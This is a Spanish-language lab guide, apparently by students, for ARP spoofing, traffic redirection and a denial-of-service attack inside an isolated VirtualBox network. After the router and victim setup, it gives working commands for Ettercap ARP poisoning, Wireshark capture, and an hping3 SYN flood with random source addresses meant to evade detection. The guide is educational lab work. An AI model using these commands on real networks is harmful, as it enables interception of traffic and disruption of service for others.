Documentación para la Práctica de ARP Spoofing, Redirección de Tráfico y Ataque DoS

Garza Ops

Don Bonk

Juan Azuara (Kurko bein)

Maestro Jasson(TheGeneralisimo)

Juan Antonio(El Señor Stylers)

Objetivo:

Realizar un ataque de ARP Spoofing en un entorno controlado, demostrar la redirección de tráfico y ejecutar un ataque de Denegación de Servicio (DoS) utilizando VirtualBox, Kali Linux como máquina host, y dos máquinas virtuales para simular la víctima y el router.

Requisitos:

- VirtualBox: Instalado en la máquina host.
- Kali Linux: Instalado en la máquina host.
- Máquinas virtuales:
- Víctima: Windows 10 o Linux.
- Router: pfSense o una máquina Linux configurada como router.
- Red interna: Configurada en VirtualBox para conectar las máquinas virtuales.

Configuración del Entorno

1. Configuración de VirtualBox:

Crear una red interna:

Abre VirtualBox y ve a Archivo > Herramientas > Administrador de redes Host-Only.
Crea una nueva red host-only (por ejemplo, vboxnet0).
Asegúrate de que la red tenga DHCP habilitado.
Configurar las máquinas virtuales:

Kali Linux (Host):

No requiere configuración adicional, ya que es la máquina host.

Víctima:

Configura el Adaptador 1 en Red Interna con el nombre de la red creada (por ejemplo, vboxnet0).

Router:

Configura dos adaptadores de red:
Adaptador 1: Conéctalo a NAT (para acceso a Internet).
Adaptador 2: Conéctalo a Red Interna (por ejemplo, vboxnet0).

2. Configuración del Router:

Opción A: Usar pfSense como router
Descargar e instalar pfSense:
Descarga la imagen ISO de pfSense desde pfSense.org.
Crea una máquina virtual en VirtualBox y selecciona el tipo "BSD" y la versión "FreeBSD (64-bit)".
Asigna al menos 512 MB de RAM y un disco duro de 10 GB.
Configura dos adaptadores de red:
Adaptador 1: Conéctalo a NAT.
Adaptador 2: Conéctalo a Red Interna.

Instalar y configurar pfSense:
Inicia la máquina virtual y selecciona la imagen ISO de pfSense.
Sigue el asistente de instalación.
Configura las interfaces:
Asigna vtnet0 a WAN (Adaptador 1, NAT).
Asigna vtnet1 a LAN (Adaptador 2, Red Interna).
Configura la dirección IP de la LAN (por ejemplo, 192.168.56.1).
Opción B: Usar Linux como router
Instalar Linux:
Usa una distribución ligera como Ubuntu Server.
Configura dos adaptadores de red:
Adaptador 1: Conéctalo a NAT.
Adaptador 2: Conéctalo a Red Interna.
Configurar el router en Linux:
Configura las interfaces de red:

sudo nano /etc/netplan/01-netcfg.yaml
Ejemplo de configuración:

```
network:
  version: 2
  ethernets:
    enp0s3:  # Adaptador 1 (NAT)
      dhcp4: yes
    enp0s8:  # Adaptador 2 (Red Interna)
      dhcp4: no
      addresses: [192.168.56.1/24]
```

Aplica la configuración:
sudo netplan apply
Habilita el forwarding de IP:

sudo sysctl -w net.ipv4.ip_forward=1
Configura NAT:

sudo iptables -t nat -A POSTROUTING -o enp0s3 -j MASQUERADE

3. Configuración de la Víctima:
Instalar el sistema operativo:
Usa Windows 10 o Linux como máquina virtual.
Configura el Adaptador 1 en Red Interna (por ejemplo, vboxnet0).
Configurar la red:
Asigna una dirección IP estática o usa DHCP.
Configura el gateway como la dirección IP del router (192.168.56.1).

Realización del Ataque de ARP Spoofing

1. Identificar las direcciones IP:

En Kali Linux, escanea la red para identificar las direcciones IP de la víctima y el router:
sudo netdiscover -i eth0 -r 192.168.56.0/24

2. Habilita el forwarding de IP en Kali Linux:

Para que el tráfico fluya a través de tu máquina:
echo 1 > /proc/sys/net/ipv4/ip_forward

3. Ejecuta Ettercap para ARP Spoofing:

Abre Ettercap en modo gráfico:

sudo ettercap -G

Configura Ettercap:

- Selecciona Sniff > Unified Sniffing y elige la interfaz de red (eth0).
- Escanea los hosts: Hosts > Scan for hosts.
- Selecciona la víctima y el router: Hosts > Hosts list.
- Agrega la víctima a Target 1 y el router a Target 2.
- Inicia el ARP Spoofing: Mitm > ARP Poisoning.

Demostrar la Redirección de Tráfico

1. Captura el tráfico con Wireshark:

Abre Wireshark en Kali Linux:

- sudo wireshark
  Selecciona la interfaz de red correcta (por ejemplo, eth0).
- Filtra el tráfico para mostrar solo el de la víctima. Por ejemplo, si la IP de la víctima es 192.168.56.101, usa el filtro:
- ip.src == 192.168.56.101 || ip.dst == 192.168.56.101
  Observa cómo el tráfico de la víctima pasa a través de tu máquina.

2. Verifica las tablas ARP:

En la máquina víctima, verifica la tabla ARP para confirmar que la dirección MAC del gateway ha sido reemplazada por la de Kali Linux.

En Windows:
arp -a

En Linux:
arp -n
Deberías ver que la dirección MAC del gateway ahora coincide con la de tu interfaz de red en Kali Linux.
Realizar un Ataque de Denegación de Servicio (DoS)
Opción A: Interrumpir la conexión deshabilitando el forwarding de IP
Deshabilita el forwarding de IP:
Durante el ARP Spoofing, el tráfico de la víctima pasa a través de tu máquina. Si deshabilitas el forwarding de IP, el tráfico no se reenviará, interrumpiendo la conexión de la víctima.

- Deshabilita el forwarding:
  echo 0 > /proc/sys/net/ipv4/ip_forward
  La víctima perderá conectividad con el router y, por lo tanto, con Internet.
- **Verifica la interrupción:**
  En la máquina víctima, intenta hacer ping al router o a un sitio web externo:
  ping 192.168.56.1 # Router
  ping google.com # Sitio externo
  Deberías ver que los paquetes se pierden.

Opción B: Usar herramientas para inundar la víctima con tráfico

- Usar hping3 para inundar la víctima:

  En Kali Linux, ejecuta el siguiente comando para enviar una gran cantidad de paquetes a la víctima:
  sudo hping3 -c 100000 -d 120 -S -w 64 -p 80 --flood --rand-source 192.168.56.101
  -c 100000: Envía 100,000 paquetes
  -d 120: Tamaño de cada paquete (120 bytes).
  -S: Usa el flag SYN (simula una solicitud de conexión TCP).
  --flood: Envía paquetes lo más rápido posible.
  --rand-source: Usa direcciones IP fuente aleatorias (para evitar detección).

Verifica el impacto:

En la máquina víctima, intenta acceder a Internet o hacer ping al router. La conexión debería ser extremadamente lenta o inexistente.